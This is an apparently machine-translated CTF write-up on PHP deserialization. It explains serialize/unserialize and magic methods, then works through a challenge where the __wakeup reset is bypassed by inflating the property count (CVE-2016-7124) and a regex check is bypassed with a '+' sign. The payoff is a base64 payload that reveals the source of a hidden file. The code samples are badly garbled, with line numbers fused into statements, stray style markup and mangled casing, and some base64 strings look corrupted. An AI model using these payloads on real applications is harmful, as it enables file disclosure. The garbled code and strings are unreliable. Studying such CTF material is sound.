Tag: Method attribute reg Serialize href Magic method images obj Lstat
0x01 Preface
The day before yesterday, the school's CTF competition, there is a question about PHP anti-serialization vulnerability bypass wakeup, and finally followed the big boys learned a wave posture.
Brief introduction to serialization and deserialization of 0x02 principle
Serialization: compressing complex data types into a string data types can be arrays, strings, objects, etc. functions: serialize ()
Deserialization: Restoring a variable function that was previously serialized: Unserialize ()
1 <?Php2$test 1 = "Hello World";3$test 2 =Array ("Hello", "World");4 $test 3 = 123456;5 echo serialize ( $test 1); // s:11: "Hello World"; serialize string 6 echo serialize ( $test 2); // a:2:{i:0;s:5: "Hello"; I:1;s:5: "World";} serializing an array 7 echo serialize ( $test 3); // i:123456; 8,
1 <? Php2 class Hello{3 public $test 4 = "Hello,world" Span style= "COLOR: #000000" >; 4 }5 $test = new hello (); 6 echo serialize ( $test 7"
Magic Method: The official documentation describes
__construct (), __destruct (), __call (), __callstatic (), __get (), __set (), __isset (), __unset (),
__wakeup () Magic method
__wakeup
Deserializing Public Private protect parameter produces different results
1 <?Php2Classtest{3Private$test 1= "Hello"; 4 public $test 2= "Hello" Span style= "COLOR: #000000" >; 5 protected $test 3= "Hello "; 6 }7 $test = new Test (8 echo serialize ( $test); //o:4: "Test": 3:{s:11: "Test Test1"; s:5: "Hello"; s:5: "Test2"; s:5: "Hello"; s:8: "* test3" ; s:5: "Hello";} 9,
Defines three different types (private, public, protected) but with identical values, the serialized output does not have the same value o:4: "Test": 3:{s:11: "Test Test1"; s:5: "Hello"; s:5: "Test2"; s:5: "Hello"; s:8: "* test3"; s:5: "Hello";}
The output from the Web page fetch is o:4: "Test": 3:{s:11: "\00test\00test1"; s:5: "Hello"; s:5: "Test2"; s:5: "Hello"; s:8: "\00*\ 00test3 "; s:5:" Hello ";}
The parameter of private is deserialized and becomes \0test\0test1 public parameter becomes test2 protected parameter becomes \0*\0TEST3
0X03 Analysis
Paste the code I saw in the game
1 <?Php2Error_reporting (0);3Classsercet{4Private$file = ' index.php ';56Publicfunction __construct ($file){7$thisfile=$file;8}910function__destruct () {11EchoShow_source ($thisFileTrue);12}1314function__wakeup () {15$thisFile= ' index.php ';16}17}1819$cmd =cmd00;20if (!Isset$_get[$cmd])){21stEchoShow_source (' index.php ',True);22}23Else{24$cmd =Base64_decode ($_get[$cmd]);25if ((Preg_match ('/[oc]:\d+:/i ',$cmd)) | | (preg_match ('/flag/i ', $cmd 26 echo "Are u gaoshing ?" ; 27 } 28 else{29 Unserialize ( $cmd 30 } 31 }32?> 33 //< Span style= "COLOR: #008000" >sercet in the_next.php
The general idea is first that a class Sercet accept $cmd, bypassing the regular, deserialization. Overwrite the value of $file, show the_next.php source code, Bypass __wakeup
1 <?Php2Classsercet{3Private$file = ' index.php ';45Publicfunction __construct ($file){6$thisfile=$file;7}89function__destruct () {10EchoShow_source ($thisFileTrue);11}12 13 function __wakeup () {14 $this->file= ' index.php ' ; 15 } 16 } 17 $test = new Sercet ("the_next.php" echo serialize ( $test Span style= "color: #000000"); O:6: "Sercet": 1:{s:12: "Sercet file"; s:12: "the_next.php";} 19,
Bypass the regular can use the + number problem is how to bypass __weakup Baidu Once the wakeup method can be bypassed when the number of member attributes is greater than the actual number
The vulnerability details can be seen when the number of member properties is greater than the actual number to bypass the wakeup method O:6: "Sercet":1: That is, enter a value greater than 1 is the line such as o:6: "Sercet":2:
POC1: tzornjoic2vyy2v0ijozontzojeyoiiac2vyy2v0agzpbguio3m6mti6inrozv9uzxh0lnbocci7fq==
In the process of replication I found that in the Hackbar directly o:+6: "Sercet": 1:{s:12: "Sercet file"; s:12: "the_next.php";} base64 encoding cannot bypass the need to be locally base64_ Encode generation to reproduce success Baidu has a wave
So POC2: o:+6: "Sercet": 2:{s:12: "\00sercet\00file"; s:12: "the_next.php";} tzornjoic2vyy2v0ijoyonttojeyoijcmdbzzxjjzxrcmdbmawxlijtzojeyoij0agvfbmv4dc5wahaio30kcgo=
Reference links
PHP Bugs 72663 Analysis (cve-2016-7124)
by Hitcon 20,161 web chat A chat PHP deserialization vulnerability
PHP Anti-Serialization Vulnerability Bypass Magic method __wakeup